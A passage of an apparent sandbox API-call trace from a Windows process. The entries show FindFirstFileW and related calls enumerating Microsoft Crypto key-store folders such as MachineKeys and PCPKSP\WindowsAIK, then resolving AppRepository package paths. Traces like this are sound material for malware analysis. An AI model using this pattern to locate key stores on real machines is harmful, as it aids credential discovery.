lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0 [0218.021] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0218.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0218.021] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x27 [0218.022] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0218.022] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.037] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0218.037] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.038] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0218.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0218.039] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x33 [0218.040] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\machinekeys\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0218.042] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.042] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0218.042] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0218.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0218.043] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x33 [0218.043] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\machinekeys\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0218.043] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.044] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0218.044] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0218.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0218.045] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x28 [0218.045] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0218.046] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.046] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0218.046] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0218.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0218.047] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x28 [0218.047] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5770 [0218.047] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.047] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0218.048] FindClose (in: hFindFile=0x1d1f5770 | out: hFindFile=0x1d1f5770) returned 1 [0218.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0218.048] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP", lpFilePart=0x0) returned 0x2a [0218.048] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\pcpksp\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0218.050] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.050] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 1 [0218.050] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 0 [0218.051] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0218.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0218.051] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP", lpFilePart=0x0) returned 0x2a [0218.051] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\pcpksp\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0218.052] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.052] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 1 [0218.052] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.053] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0218.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0218.053] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK", lpFilePart=0x0) returned 0x35 [0218.053] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\pcpksp\\windowsaik\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0218.573] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe") returned 0x71 [0218.576] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe") returned 0x71 [0218.576] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe\\") returned 0x72 [0218.581] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe") returned 0x71 [0218.582] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe") returned 0x71 [0218.583] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe\\") returned 0x72 [0218.874] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0218.876] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0218.877] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7a [0218.880] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0218.881] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0218.882] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7a [0218.885] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x73 [0218.887] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x73 [0218.888] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned 0x74 [0218.891] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x73 [0218.892] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x73 [0218.893] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned 0x74 [0218.900] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All 